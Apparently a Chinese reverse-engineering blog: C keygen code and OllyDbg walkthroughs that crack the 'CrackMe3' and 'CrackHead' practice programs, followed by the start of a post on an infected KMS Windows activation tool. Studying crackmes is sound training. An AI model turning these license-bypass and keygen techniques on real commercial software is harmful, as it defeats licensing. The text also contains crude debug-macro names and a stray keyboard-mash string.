        D000 0000 C000 0000 BA00 0000 0000 0000         EDX >> 8
        0000 0000 D000 0000 C000 0000 BA00 0000         DH  >> 7
        0000 0000 D000 0000 0000 000C BA00 0000         DX  << 7
        0000 0000 D000 0000 CBA0 0000 0000 0000         EDX >> 8
        0000 0000 0000 0000 D000 0000 CBA0 0000         DH  >> 7
        0000 0000 0000 0000 0000 000D CBA0 0000         DX  >> 1
        0000 0000 0000 0000 0000 0000 DCBA 0000
        */
        edx = edi;
        // 下面这一堆移位操作其实是把每个字节中的最高位移动到了DL的低四位中

        /*
        我们分别用ABCD代表一个32位数中每个字节的最高位
        |-----------------| |--------DX-------|
        |                 | |---DH--| |--DL---|
        D000 0000 C000 0000 B000 0000 A000 0000         DH  >> 7
        D000 0000 C000 0000 0000 000B A000 0000         DX  << 7
        D000 0000 C000 0000 BA00 0000 0000 0000         EDX >> 8
        0000 0000 D000 0000 C000 0000 BA00 0000         DH  >> 7
        0000 0000 D000 0000 0000 000C BA00 0000         DX  << 7
        0000 0000 D000 0000 CBA0 0000 0000 0000         EDX >> 8
        0000 0000 0000 0000 D000 0000 CBA0 0000         DH  >> 7
        0000 0000 0000 0000 0000 000D CBA0 0000         DX  >> 5
        0000 0000 0000 0000 0000 0000 0000 DCBA
        */
        _d = edx & 0x80000000;
        _d = _d >> 31;
        _c = edx & 0x00800000;
        _c = _c >> 23;
        _b = edx & 0x00008000;
        _b = _b >> 15;
        _a = edx & 0x00000080;
        _a = _a >> 7;

        char _DL_L4_0_3[3] = {0};
        sprintf(_DL_L4_0_3, "%02X", _d*8+_c*4+_b*2+_a);
        hex_string = (char*)malloc(2+1);
        strcpy(hex_string, _DL_L4_0_3);
        edx = (_ui)strtoul(hex_string, NULL, 16);
        free(hex_string);
        edi = edx;
        FUCK("[*] edi: 0x%x\n", edi);
        edi = edi ^ esi;
        edx = edi;
        edx = edx & 0xFF;
        _ui _tmp_val = ecx;
        ecx = eax;
        eax = _tmp_val;
        FUCK("[*] edx: 0x%x\n", edx);
        if (eax > 3) {
            eax = eax - 3;
            eax = eax * 8;
            _tmp_val = eax;
            eax = ecx;
            ecx = _tmp_val;
            ebx = _rotl(ebx, ecx);
            ebx = ebx ^ edx;
            ebx = _rotr(ebx, ecx);
        } else {
            eax = eax * 8 + 8;
            _tmp_val = eax;
            eax = ecx;
            ecx = _tmp_val;
            eax = _rotl(eax, ecx);
            eax = eax ^ edx;
            eax = _rotr(eax, ecx);
        }
        FUCK("[*] eax: 0x%x\n",eax);
        FUCK("[*] ebx: 0x%x\n", ebx);
        loop_counter += 1;
    }
    printf("[*] after loop, eax: 0x%X\n", eax);
    printf("[*] after loop, ebx: 0x%X\n", ebx);


    // 下面是函数cycle.401190
    ecx = 0xFF01;
    // 这里需要对一个内存(0x402182)的值进行一个加法运算
    // 我暂时还不清楚这个内存的值是否固定，因此先留一个TODO，经调试，这里的初始值应该是98BADCFE
    // 转换成整型数就是FEDCBA98
    // 该函数并不是简单地循环，是一个递归函数，因此需要单独定义
    ecx = _401190(eax, ebx, ecx);
    FUCK("[*] ecx: 0x%X\n", ecx);
    return ecx;
}


int main_call() {
    _TODO_counter = 0xFEDCBA98;
    char user_name[16+1] = {0};
    printf("[*] give me a max-16-len string, 'q' to exit:\n\t");
    scanf("%16s", user_name);
    FUCK("%s\n",  user_name);
    if(1==strlen(user_name) && 'q'==user_name[0]) return 'q';
    // 将用户名扩充至16位
    int user_name_length = strlen(user_name);
    printf("[*] user name length: %d\n", user_name_length);
    char* extend_user_name = (char*)malloc(16+1);
    strcpy(extend_user_name, user_name);
    int i = 0;
    for(; i<16-user_name_length; i++) {
        char _tmp_val[2] = {0};
        sprintf(_tmp_val, "%c", user_name[i%user_name_length]);
        strcat(extend_user_name, _tmp_val);
    }
    printf("[*] user name after extended: %s\n", extend_user_name);
    // 对于掩码0x7F3F1F0F
    // 0x7F和username[3]进行异或运算
    // 如果username[3]的1和3bit置位，那么serial[3]的1和3bit一定会复位
    // 则serial[3]一定会小于0x30，这样就无法通过字符范围的检测了[0x30, 0x7E]
//        if(180 <= extend_user_name[3]) {
//            printf("[-] after xor with mask(0x7F), the value would less than 0x30, \n\tusername[3]'s ascii value should not be greater than 0x50\n");
//            continue;
//        }
    // 首先获取到注册码的前4位
    // __n_0_3 ^ __s_0_3 == 0x7F3F1F0F
    _ui _n_0_3 = string_to_hex(extend_user_name, 0);
    FUCK("0x%X\n", _n_0_3);
    char _s_0_3[4+1] = {0};
    _ui _hex_xor_res = 0;
    i=0;
    int j = 0;
    int k = 0;
    int l = 0;
    for(; i<8; i++) {
        j=0;
        for(; j<4; j++) {
            k=0;
            for(; k<2; k++) {
                l=0;
                for(; l<2; l++) {
                    memset(_s_0_3, 0, sizeof(_s_0_3));
                    char _tmp_char[2+1] = {0};
                    char hex_string[4+1] = {0};
                    sprintf(_tmp_char, "%02X", (4*l+3)*16+0x0F);
                    strcpy(hex_string, _tmp_char);
                    sprintf(_tmp_char, "%02X", (4*k+3)*16+0x0F);
                    strcat(hex_string, _tmp_char);
                    sprintf(_tmp_char, "%02X", (2*j+1)*16+0x0F);
                    strcat(hex_string, _tmp_char);
                    sprintf(_tmp_char, "%02X", i*16+0x0F);
                    strcat(hex_string, _tmp_char);

                    FUCK("hex_string = %s\n", hex_string);
                    // _hex_xor_res = 0x0F0F0F0F;
                    _hex_xor_res = (_ui)strtoul(hex_string, NULL, 16);
                    FUCK("hex_xor_res = 0x%X\n", _hex_xor_res);
                    FUCK("_n_0_3----%x\n", _n_0_3 ^ _hex_xor_res);
                    if(hex_to_string(_n_0_3 ^ _hex_xor_res, _s_0_3)==0) {
                        FUCK("_s_0_3----%s\n", _s_0_3);
                        goto __GOTO_ONCE;
                    }
                }
            }
        }
    }

    __GOTO_ONCE:
    FUCK("%s\n", _s_0_3);

    // 为了通过注册码长度检测，这里先给序列号填充为16位，其实后八位暂时是用不着的
    char* _s_8_15 = "89abcdef";
    // 由于掩码0x07030100最后会和EBX进行与运算
    // 所以最后EBX的四个字节，从高到低依次拥有3、2、1、0个有效bit位
    // 也就是说，无论_n_4_7和_s_4_7是什么样的，EBX只有2^(3+2+1+0)=64种可能的值
    // 下面这个组合可以覆盖到所有的可能性
    // 这样一来，我们就可以获取到注册码的4~7位了
    char* _s_4 = "@ABCDEFG";
    char* _s_5 = "@ABC";
    char* _s_6 = "@A";
    char* _s_7 = "A";
    i=0;
    for(; i<8; i++) {
        j=0;
        for(; j<4;j++) {
            k=0;
            for(; k<2; k++) {
                char* hex_string = (char*)malloc(16+1);
                strcpy(hex_string, _s_0_3);
                char _s_4_7[4+1] = {0};
                char _tmp_val[2] = {0};
                sprintf(_tmp_val, "%c", _s_4[i]);
                strcpy(_s_4_7, _tmp_val);
                sprintf(_tmp_val, "%c", _s_5[j]);
                strcat(_s_4_7, _tmp_val);
                sprintf(_tmp_val, "%c", _s_6[k]);
                strcat(_s_4_7, _tmp_val);
                sprintf(_tmp_val, "%c", _s_7[0]);
                strcat(_s_4_7, _tmp_val);
                strcat(hex_string, _s_4_7);
                strcat(hex_string, _s_8_15);
                if(register_func(extend_user_name, hex_string) == 1) {
                    free(hex_string);
                    printf("[+] half success!!! come on!!!\n\n");
                    // 实现剩下的运算
                    char _24_31[3]={0};
                    char _16_23[3]={0};
                    char _8_15[3]={0};
                    char _0_7[3]={0};

                    // 获取用户名的8~11并转换成整型数
                    _ui eax = string_to_hex(extend_user_name, 8);
                    FUCK("[*] eax: %x\n", eax);

                    // 获取用户名的12~15并转换成整型数
                    _ui ebx = string_to_hex(extend_user_name, 12);
                    FUCK("[*] ebx: %x\n", ebx);

                    eax = eax ^ ebx;
                    eax = eax ^ _TODO_counter;
                    eax = eax | 0x40404040;
                    eax = eax & 0x77777777;
                    while(1) {
                        char _eax_bin_format[32+1] = {0};
                        itoa(eax, _eax_bin_format, 2);
                        char __eax_bin_format[32+1] = {0};
                        sprintf(__eax_bin_format, "%032s", _eax_bin_format);
                        int index=0;
                        CUM("[+] this is the binary format of serial_8_11 ^ serial_12_15 result:\n\t");
                        for(; index<32; index++) {
                            FUCK("%c", __eax_bin_format[index]);
                            if((index+1)%4 == 0 && (index+1)!=32) {
                                CUM(" ");
                            }
                            if((index+1)%8 == 0 && (index+1)!=32) {
                                CUM("%% ");
                            }
                        }
                        CUM("\n");

                        char _s_8_11[4+1] = {0};
                        sprintf(_tmp_val, "%c", generate_random(0x30, 0x7E));
                        FUCK("random char %s", _tmp_val);
                        strcpy(_s_8_11, _tmp_val);
                        sprintf(_tmp_val, "%c", generate_random(0x30, 0x7E));
                        FUCK("random char %s", _tmp_val);
                        strcat(_s_8_11, _tmp_val);
                        sprintf(_tmp_val, "%c", generate_random(0x30, 0x7E));
                        FUCK("random char %s", _tmp_val);
                        strcat(_s_8_11, _tmp_val);
                        sprintf(_tmp_val, "%c", generate_random(0x30, 0x7E));
                        FUCK("random char %s", _tmp_val);
                        strcat(_s_8_11, _tmp_val);
                        printf("[*] generating random 4-len string: %s\n", _s_8_11);
//                        char _DEBUG_s_8_11[4+1] = "}3d7";
//                        strcpy(_s_8_11, _DEBUG_s_8_11);
                        _ui _s_8_11_hex_value = string_to_hex(_s_8_11, 0);
                        // 根据汇编代码
                        // eax = eax ^ s_8_11
                        // eax = eax ^ s_12_15
                        // eax == 0必须成立
                        // 那么可以推导出 eax ^ s_8_11 == s_12_15
                        FUCK("_s_8_11_hex_value: 0x%X\n", _s_8_11_hex_value);
                        FUCK("eax: 0x%X\n", eax);
                        _ui _s_12_15_hex_value = eax ^ _s_8_11_hex_value;
                        FUCK("_s_12_15_hex_value: 0x%X\n", _s_12_15_hex_value);
                        hex_string = (char*)malloc(4+1);
                        if(1==hex_to_string(_s_12_15_hex_value, hex_string)) {
                            free(hex_string);
                            continue;
                        }

                        char serial_number[16+1] = {0};
                        strcpy(serial_number, _s_0_3);
                        strcat(serial_number, _s_4_7);
                        strcat(serial_number, _s_8_11);
                        strcat(serial_number, hex_string);
                        free(hex_string);

                        printf("[+] Name:\n\t%s\n", user_name);
                        printf("[+] Serial:\n\t%s\n", serial_number);
                        char c = 0;
                        while ((c = getchar()) != EOF && c != '\n');
                        return 0;
                    }
                }
                free(hex_string);
            }
        }
    }
    return 0;
}

int main(int argc, char** argv) {
    while(1)
        if('q' == main_call()) break;
    return 0;
}

Crackme之CrackHead注册机

2022-05-09T00:00:00+02:00

references:

https://bbs.pediy.com/thread-21378.htm

上回我们说到CrackHead的注册机编写，但是由于触及到了我的知识盲区nobordeintlinerfuckbunsetiasdfjiab135twriabiajisadguiasgfastfyouasguidagsajdga，所以就暂时放在那里没写

现在我知道了如何下内存断点，那么问题就迎刃而解了

我们知道0x40339C这个地址决定了ESI的值，但是我们并不知道这块地址中的值是怎么来的，通过在这个地址下内存断点，可以定位到更改该内存内容的代码

可以看到更改内存的代码位于ntdll内，这些都是系统代码，我们一路返回即可，最后定位到CrackHead的代码，在此下断点即可，此时内存断点就可以清除了，当然你不清除也没啥影响

我们只需要把这一部分代码搞明白就行了：

从倒数第三行可以看到，ESI的值被写入了0x40339C中，而EDI又是通过下面这一段循环代码计算出来的

0040143E  |. 33FF           XOR EDI,EDI
00401440  |> 8BC1           MOV EAX,ECX
00401442  |. 8B1E           MOV EBX,DWORD PTR DS:[ESI]
00401444  |. F7E3           MUL EBX
00401446  |. 03F8           ADD EDI,EAX
00401448  |. 49             DEC ECX
00401449  |. 83F9 00        CMP ECX,0
0040144C  |.^75 F2          JNZ SHORT CrackHea.00401440

首先EDI被清空，然后进行循环，循环次数为ECX的值，EAX被初始化为ECX的值，在这段循环代码中，我们只需要知道ESI、ECX、EBX的值即可计算出EDI的值

00401431  |. 8D35 9C334000  LEA ESI,DWORD PTR DS:[40339C]
00401437  |. 0FB60D EC33400>MOVZX ECX,BYTE PTR DS:[4033EC]

从这两行代码我们可以知道ESI的值为x040339C，那么EBX的值就是内存地址为0x40339C处的内容，ECX的值为内存地址0x4033EC处的内容

这上面有一条指令可能大家之前没有见过，就是MOVZX（move with zero-extend），该指令跟MOV差不多，就是高位补0而已

比方说你把一个16位的值通过MOVZX指令放到EAX（32bit）中，那么MOVZX会自动将EAX的高16bit置0

再往上看

0040140C  /$ 60             PUSHAD
0040140D  |. 6A 00          PUSH 0                                   ; /RootPathName = NULL
0040140F  |. E8 B4000000    CALL <JMP.&KERNEL32.GetDriveTypeA>       ; \GetDriveTypeA
00401414  |. A2 EC334000    MOV BYTE PTR DS:[4033EC],AL
00401419  |. 6A 00          PUSH 0                                   ; /pFileSystemNameSize = NULL
0040141B  |. 6A 00          PUSH 0                                   ; |pFileSystemNameBuffer = NULL
0040141D  |. 6A 00          PUSH 0                                   ; |pFileSystemFlags = NULL
0040141F  |. 6A 00          PUSH 0                                   ; |pMaxFilenameLength = NULL
00401421  |. 6A 00          PUSH 0                                   ; |pVolumeSerialNumber = NULL
00401423  |. 6A 0B          PUSH 0B                                  ; |MaxVolumeNameSize = B (11.)
00401425  |. 68 9C334000    PUSH CrackHea.0040339C                   ; |VolumeNameBuffer = CrackHea.0040339C
0040142A  |. 6A 00          PUSH 0                                   ; |RootPathName = NULL
0040142C  |. E8 A3000000    CALL <JMP.&KERNEL32.GetVolumeInformation>; \GetVolumeInformationA

第一行的PUSHAD指令意为push all general-purpose register，就是把所有通用寄存器压栈

这一段代码其实就是两个系统函数的调用

下面这行代码将GetDriveTypeA的返回值放到了地址为0x4033EC的内存中

00401414  |. A2 EC334000    MOV BYTE PTR DS:[4033EC],AL

因为该函数的返回值最大值为6，所以AL（8bit）就足够存放返回值了

然后是GetVolumeInformationA

00401425  |. 68 9C334000    PUSH CrackHea.0040339C                   ; |VolumeNameBuffer = CrackHea.0040339C

这个是该函数的第二个参数，根据文档，该参数为传出参数，存放的是卷标的名称，之前之所以测了好几台机器都是一样的注册码，就是因为那几台机器都没有卷标

卷标就是这个东西，是用户自己设置的，默认是没有的

那么现在我们现在就已经获取到了所有需要的变量的值了，写出对应的C代码计算出序列号就完事了

编写思路如下：

ECX的初始值，0x4033EC指针的值我们已经拿到了，就是GetDriveType的返回值

EBX的初始值，0x40339C指针的值，这个值我们也有，就是GetVolumeInformation的传出参数VolumeName的值

EAX = ECX

EBX = VolumeName前四个字节（由于小端序的原因，需要进行翻转（高位在高址））

EAX=EAX*EBX EDX存放高32位，EAX存放低32bit 本次计算与EDX无关，我们只需要低32bit的值就行了

EDI=EDI+EAX EDI初始值为0

ECX用于循环计数

我直接用codeblocks编译的

#include   <windows.h>
#include   <stdio.h>

int main(int argc, char **argv) {
    char   volume_name[256]={0};

    GetVolumeInformation( NULL,volume_name,11,NULL,NULL,NULL,NULL,NULL);

    printf("[+] volume name: %s\n", volume_name);

    char _24_31[3]={0};
    char _16_23[3]={0};
    char _8_15[3]={0};
    char _0_7[3]={0};

    sprintf(_24_31, "%02X", (unsigned char)volume_name[0]);
    sprintf(_16_23, "%02X", (unsigned char)volume_name[1]);
    sprintf(_8_15, "%02X", (unsigned char)volume_name[2]);
    sprintf(_0_7, "%02X", (unsigned char)volume_name[3]);

    char* hex_string = (char*)malloc(8+1);
    strcpy(hex_string, _0_7);
    strcat(hex_string, _8_15);
    strcat(hex_string, _16_23);
    strcat(hex_string, _24_31);
    unsigned int ecx = GetDriveType(NULL);
    printf("[+] drive type: %u\n", ecx);
    unsigned int ebx = (unsigned int)strtoul(hex_string, NULL, 16);
    printf("[+] ebx initial value: 0x%x\n", ebx);
    free(hex_string);
    printf("[+] ecx initial value: %u\n", ecx);
    unsigned int eax = 0;
    unsigned int edi = 0;

    int i = 0;
    for(i=0; i<ecx; i++) {
        eax = ecx-i;
        eax *= ebx;
        edi += eax;
    }

    printf("[+] edi value: 0x%x\n",edi);
    const unsigned int const_value = (unsigned int)strtoul("797A7553", NULL, 16);
    printf("[+] calculated serial number: %u\n", const_value^edi);

    return   0;
}

CrackMe破解流程

2022-05-07T00:00:00+02:00

references:

http://bbs.pediy.com/showthread.php?s=&threadid=21308

耍一耍二进制

如果需要密码，就是1

要破解的二进制文件

OllyDBG

根据注册时弹出的错误信息，搜索错误字符串定位到程序代码

两个错误提示，两段同样的代码，我们分别在其调用者下断点

实际上是JNZ指令条件跳转过来的

两条跳转指令的上一条指令是同一个函数

下断点跟入该函数

对该函数进行分析

首先前三行是压栈操作，保护寄存器的内容

00403B2C  /$ 53             PUSH EBX
00403B2D  |. 56             PUSH ESI
00403B2E  |. 57             PUSH EDI

接下来的三行我并不理解他是什么意思，因为从字面上来看，他是对两个偏移量进行了CMP操作，而EAX寄存器是指向我们输入的用户名字符串的指针，EDX寄存器是指向程序硬编码的字符串的指针，我不明白比较这两个指针的意义何在

00403B2F  |. 89C6           MOV ESI,EAX
00403B31  |. 89D7           MOV EDI,EDX
00403B33  |. 39D0           CMP EAX,EDX

如果着两个指针一样，就会跳转

00403B35  |. 0F84 8F000000  JE CrackMe3.00403BCA

太离谱了，这两个指针要在什么样的情况下才会相等？？？？

不过前两行我还是能理解的，就是将地址分别转移到了ESI和EDI寄存器

直接ctrl+G定位到指定内存地址00403BCA：

可以看到是直接返回了，而此时ZF标志寄存器肯定会置位（1）

那么JNZ就不会成立，错误消息就不会弹出了

我们继续往下看，因为EAX和EDX并不相等

看看这两个寄存器是否为空（空地址全0）

不过除非我们直接没给用户名，不然这两个TEST指令都不会成立

接着看下面是三行

从结果来看是把两个字符串的长度放到了EAX和EDX寄存器中，但是为啥DS:[ESI-4]和DS:[EDI-4]就是字符串的长度，我也不清楚，我也没有源代码，鬼知道他是怎么写的，如果大家有知道的，欢迎留言，不胜感激

注意SUB指令不同于其他的指令，SUB var1, var2的意思是var1-var2，不能照搬MOV的规则

然后他把两个字符串的长度相减，此处结果为0，因为Unregistered...和Registered User的长度是一样的，长度都是0x0F

如果我们输入的字符串长比硬编码的字符串长，直接跳走

就是把ADD EDX, EAX指令给跳过了，如果没有跳过，说明我们输入的字符串长度和硬编码的字符串长度相等或者更短，那么该指令就会执行，将两者的差值和硬编码的字符串长度相加，那么此时EDX的值将和EAX原来的值相等

我们可以实验一下，将用户名的长度设置为1

可以看到，当我们输入的用户名长度较小时，会产生一个负数，但是最后和EDX相加之后，EDX就会变成EAX之前的值

等效于：

EDX+(EAX-EDX)=EAX

接着往下看

保存EDX的值，然后将EDX右移两位，如果EDX小于4，那么右移两位之后，结果肯定为0，ZF就会置位

就会跳转到CrackMe3.00403B7B

这里之所以要右移两位，是因为下面的代码将会对我们输入的用户名和硬编码的用户名进行循环比较，每次比较4个字节，也就是4个字符串，这里由于是1，所以进不去循环，我们使用默认的用户名来进行调试

这个就是循环体，以EDX作为循环次数

前三行：

00403B55  |> 8B0E           /MOV ECX,DWORD PTR DS:[ESI]
00403B57  |. 8B1F           |MOV EBX,DWORD PTR DS:[EDI]
00403B59  |. 39D9           |CMP ECX,EBX

ESI和EDI分别为我们输入的字符串和硬编码字符串的指针，这三行指令分别取出了两个字符串的前4个字符到ECX和EBX中，并对两者进行比较

如果不相等，则直接跳出循环

跳转到如下位置：

00403BB5  |> 5A             POP EDX
00403BB6  |. 38D9           CMP CL,BL
00403BB8  |. 75 10          JNZ SHORT CrackMe3.00403BCA
00403BBA  |. 38FD           CMP CH,BH
00403BBC  |. 75 0C          JNZ SHORT CrackMe3.00403BCA
00403BBE  |. C1E9 10        SHR ECX,10
00403BC1  |. C1EB 10        SHR EBX,10
00403BC4  |. 38D9           CMP CL,BL
00403BC6  |. 75 02          JNZ SHORT CrackMe3.00403BCA
00403BC8  |. 38FD           CMP CH,BH
00403BCA  |> 5F             POP EDI
00403BCB  |. 5E             POP ESI
00403BCC  |. 5B             POP EBX
00403BCD  \. C3             RETN

恢复EDX的值，然后对ECX和EBX寄存器的24~31bit进行比较，不同则直接返回，否则继续比较16~23biit，不同则直接返回，否则将ECX和EBX分别右移16位，重复以上操作

我们是因为EBX和ECX不相等跳到这里来的，所以这里的判断也会全部失败，最后ZF标志位处于复位状态返回，弹出错误信息

回到循环代码

00403B5D  |. 4A             |DEC EDX
00403B5E  |. 74 15          |JE SHORT CrackMe3.00403B75

前四个字符串一样，EDX减1，如果EDX变成0了，说明已经比较完了，跳转

00403B75  |> 83C6 04        ADD ESI,4
00403B78  |. 83C7 04        ADD EDI,4
00403B7B  |> 5A             POP EDX
00403B7C  |. 83E2 03        AND EDX,3
00403B7F  |. 74 22          JE SHORT CrackMe3.00403BA3

两个指针分别向后偏移4位，然后恢复EDX的值，和3进行与操作，其实就是判断EDX的最后两个bit是否全为0，如果不为0，说明字符串没有被完全比较，还余下了几个，其实这个与运算的结果就是进入循环前进行的右移2位（除以4）的余数

如果EDX被4整除了，就跳转，也就是说，字符串比较已经完成

00403BA3  |> 01C0           ADD EAX,EAX
00403BA5  |. EB 23          JMP SHORT CrackMe3.00403BCA

这里其实就是判断一下EAX的值是否为0，为0说明我们输入的用户名和硬编码的用户名长度一致，因为前面有一个SUB EAX, EDX的操作

如果没有被4整除，也就是说还有余数，那么久继续比较

00403B81  |. 8B0E           MOV ECX,DWORD PTR DS:[ESI]
00403B83  |. 8B1F           MOV EBX,DWORD PTR DS:[EDI]
00403B85  |. 38D9           CMP CL,BL
00403B87  |. 75 41          JNZ SHORT CrackMe3.00403BCA
00403B89  |. 4A             DEC EDX
00403B8A  |. 74 17          JE SHORT CrackMe3.00403BA3
00403B8C  |. 38FD           CMP CH,BH
00403B8E  |. 75 3A          JNZ SHORT CrackMe3.00403BCA
00403B90  |. 4A             DEC EDX
00403B91  |. 74 10          JE SHORT CrackMe3.00403BA3

可以看到，先比较剩余的第一个字符，不相等直接返回，如果相等，再判断字符串是不是比较完了

如果上面都没有跳转，再比较剩余的第二个字符，同上

如果都没有跳转，执行下面的代码

00403B93  |. 81E3 0000FF00  AND EBX,0FF0000
00403B99  |. 81E1 0000FF00  AND ECX,0FF0000
00403B9F  |. 39D9           CMP ECX,EBX
00403BA1  |. 75 27          JNZ SHORT CrackMe3.00403BCA
00403BA3  |> 01C0           ADD EAX,EAX
00403BA5  |. EB 23          JMP SHORT CrackMe3.00403BCA

通过与操作提取出第3个字符进行比较，其实和上面的逻辑是一样的，只不过不用跳CrackMe3.00403BA3了，因为要跳转的代码跟它挨着，这一处的代码逻辑，上面已经讲过了，不再赘述

回到循环代码

00403B60  |. 8B4E 04        |MOV ECX,DWORD PTR DS:[ESI+4]
00403B63  |. 8B5F 04        |MOV EBX,DWORD PTR DS:[EDI+4]
00403B66  |. 39D9           |CMP ECX,EBX
00403B68  |. 75 4B          |JNZ SHORT CrackMe3.00403BB5
00403B6A  |. 83C6 08        |ADD ESI,8
00403B6D  |. 83C7 08        |ADD EDI,8
00403B70  |. 4A             |DEC EDX
00403B71  |.^75 E2          \JNZ SHORT CrackMe3.00403B55

代码逻辑和上面就是一样的了，再往后偏移4个字节，比较第5~8个字符，如果还没有比较完，就继续循环

这一个函数，到这里我们就算分析完了，因此我们只需要确保用户名和硬编码的字符串一致就行了，而硬编码的字符串我们是可以直接在调试器中看到的，就是EDX指向的那块内存

现在我们已经成功通过第一个检测，来到第二个监测点

不过由于这两个检测点使用的是同一个函数，只是参数不同而已，所以我们只需要将序列号改为硬编码的序列号即可

简简单单，完事儿！！！

crackme之CrackHead破解流程

2022-05-07T00:00:00+02:00

references:

https://bbs.pediy.com/thread-21330.htm

如果要密码，就是1

要破解的二进制文件

这回情况和上次那个程序稍有不同，没有任何提示字符串，我们只能在系统API函数调用处下端点

windows GUI程序的常用于下断点的API函数

使用OllyDBG加载程序之后，Ctrl+N获取当前程序引入的所有库函数

其中有一个GetWinTextA，这个函数用于获取指定窗口中的字符串，可以用来下断点，选中这个函数右键下断点即可

可以看到，与该函数相关的指令都会被下断点，这两个断点对我们来说都没啥用，我们直接删除掉即可，然后在00401323的下一个位置下断点，也就是00401328，这个才是CrackHead程序的代码

我们跟入这个call即可

该函数的代码：

004013D2  /$ 56             PUSH ESI
004013D3  |. 33C0           XOR EAX,EAX
004013D5  |. 8D35 C4334000  LEA ESI,DWORD PTR DS:[4033C4]
004013DB  |. 33C9           XOR ECX,ECX
004013DD  |. 33D2           XOR EDX,EDX
004013DF  |. 8A06           MOV AL,BYTE PTR DS:[ESI]
004013E1  |. 46             INC ESI
004013E2  |. 3C 2D          CMP AL,2D
004013E4  |. 75 08          JNZ SHORT CrackHea.004013EE
004013E6  |. BA FFFFFFFF    MOV EDX,-1
004013EB  |. 8A06           MOV AL,BYTE PTR DS:[ESI]
004013ED  |. 46             INC ESI
004013EE  |> EB 0B          JMP SHORT CrackHea.004013FB
004013F0  |> 2C 30          /SUB AL,30
004013F2  |. 8D0C89         |LEA ECX,DWORD PTR DS:[ECX+ECX*4]
004013F5  |. 8D0C48         |LEA ECX,DWORD PTR DS:[EAX+ECX*2]
004013F8  |. 8A06           |MOV AL,BYTE PTR DS:[ESI]
004013FA  |. 46             |INC ESI
004013FB  |> 0AC0            OR AL,AL
004013FD  |.^75 F1          \JNZ SHORT CrackHea.004013F0
004013FF  |. 8D040A         LEA EAX,DWORD PTR DS:[EDX+ECX]
00401402  |. 33C2           XOR EAX,EDX
00401404  |. 5E             POP ESI
00401405  |. 81F6 53757A79  XOR ESI,797A7553
0040140B  \. C3             RETN

第三行中4033C4是序列号字符串的地址，是由之前的函数调用GetWindowTextA获取的

004013D5  |. 8D35 C4334000  LEA ESI,DWORD PTR DS:[4033C4]

现在ESI指向序列号

004013DF  |. 8A06           MOV AL,BYTE PTR DS:[ESI]
004013E1  |. 46             INC ESI
004013E2  |. 3C 2D          CMP AL,2D
004013E4  |. 75 08          JNZ SHORT CrackHea.004013EE

获取第一个序列号，然后ESI往后偏移1，如果第一个字符不是-（ascii为2D），则跳转

004013EE  |> EB 0B          JMP SHORT CrackHea.004013FB

接着跳

004013FB  |> 0AC0            OR AL,AL
004013FD  |.^75 F1          \JNZ SHORT CrackHea.004013F0

AL不为0就跳

004013F0  |> 2C 30          /SUB AL,30
004013F2  |. 8D0C89         |LEA ECX,DWORD PTR DS:[ECX+ECX*4]
004013F5  |. 8D0C48         |LEA ECX,DWORD PTR DS:[EAX+ECX*2]
004013F8  |. 8A06           |MOV AL,BYTE PTR DS:[ESI]
004013FA  |. 46             |INC ESI
004013FB  |> 0AC0            OR AL,AL
004013FD  |.^75 F1          \JNZ SHORT CrackHea.004013F0

先减去0x30，下面两个LEA指令相当于ECX=ECX*10+EAX，不过在这个循环里，ECX并没有什么作用，整个循环就是对序列号进行遍历，直到读完（最后的结束标志符0x00）

004013FF  |. 8D040A         LEA EAX,DWORD PTR DS:[EDX+ECX]
00401402  |. 33C2           XOR EAX,EDX
00401404  |. 5E             POP ESI
00401405  |. 81F6 53757A79  XOR ESI,797A7553
0040140B  \. C3             RETN

循环完成后，执行了四条指令，就返回了，现在我并不清楚这四条指令的作用

函数返回后，对EAX和ESI寄存器进行了比较，如果两者不相等，就会跳走，继续执行程序会发现没有任何反应，这显然不是我们想要的，我们不希望程序跳走，我们想让他执行下面的那条JMP指令，显然这个JMP跳到的地方有更多的东西

因此，我们需要确保在函数执行完成后，EAX和ESI的值是相等的

通过调试器可以看到，ESI的初始值是0，且函数的第一行代码就对ESI的值进行了保存

在函数返回的时候，取出ESI的值和0x797A7553进行异或，那么无论如何，函数返回的时候ESI的值一定会变成0x797A7553，现在我们的问题就是如何控制AX也是这个值

在函数一开始的地方

004013E4  |. 75 08          JNZ SHORT CrackHea.004013EE

这条指令是否执行只会影响EDX的值，如果这条指令没执行，那么EDX的值就会变成0xffffffff

但是，我并没有办法输入-，所以这条指令肯定会执行，也就是说EDX的值肯定是0，那么在最后和EAX进行异或运算的时候，EDX是完全没有影响的，异或完之后，EAX的值是不会变的

现在就是要想办法，怎么把EAX的值弄成0x797A7553

现在的问题就是要循环多少次，每次EAX的值应该是多少，才能在循环结束之后，ECX的值为0x797A7553，因为在EDX为0的情况下，下面这两条指令完成后，其实就是MOV EAX, ECX

004013FF  |. 8D040A         LEA EAX,DWORD PTR DS:[EDX+ECX]
00401402  |. 33C2           XOR EAX,EDX

刚测试了一下，输入框允许的最大长度为21，EAX的值一共存在10种可能（0~9）

也就是说最多存在10^21个组合，这太大了，显然是爆破不出来的

仔细观察一下代码，可以发现下面这个表达式：

ECX=ECX*10+EAX

而由于EAX每次在运算之前会减去0x30，因此EAX的值就是我们在程序中输入的序列号种的字符

0x797A7553的10进制形式为2038068563，而ECX的初始值为0，第一次循环，ECX的值就是EAX的值，第二次循环，ECX的值是之前的EAX的值乘以10加上当前EAX的值，很明显，我们只需要将序列号设置为2038068563即可

弹出的对话框提示我们编写一个序列号生成器，而且程序提示说每台电脑上的序列号都不一样

刚才把这个程序放到了其他机器上，输入这个序列号，结果还是这个对话框

又换了一台机器，还是这个样子，不管了，既然他这么说了，我就看一下

破案了

很明显0x797A7553就是硬编码，唯一可能会影响到ESI值的因素就是在调用检验函数之前的代码

00401310  |. 8B35 9C334000          MOV ESI,DWORD PTR DS:[40339C]
00401316  |. 6A 28                  PUSH 28                                  ; /Count = 28 (40.)
00401318  |. 68 C4334000            PUSH CrackHea.004033C4                   ; |Buffer = CrackHea.004033C4
0040131D  |. FF35 90314000          PUSH DWORD PTR DS:[403190]               ; |hWnd = 00070812 (class='Edit',parent=00090814)
00401323  |. E8 4C010000            CALL <JMP.&USER32.GetWindowTextA>        ; \GetWindowTextA
00401328  |. E8 A5000000            CALL CrackHea.004013D2

就是上面代码中的第一行，这个0x40339C也是硬编码，但是这块内存中的值可能会在不同的机器上有不同的值，这里触及到我的知识盲区了，就到这儿吧

告辞！！

KMS激活工具分析

2020-09-22T00:00:00+02:00

前言

该工具可以激活任意版本windows操作系统，亲测可用，唯一的缺点就是有病毒

工具下载：

行为分析

微步沙箱分析

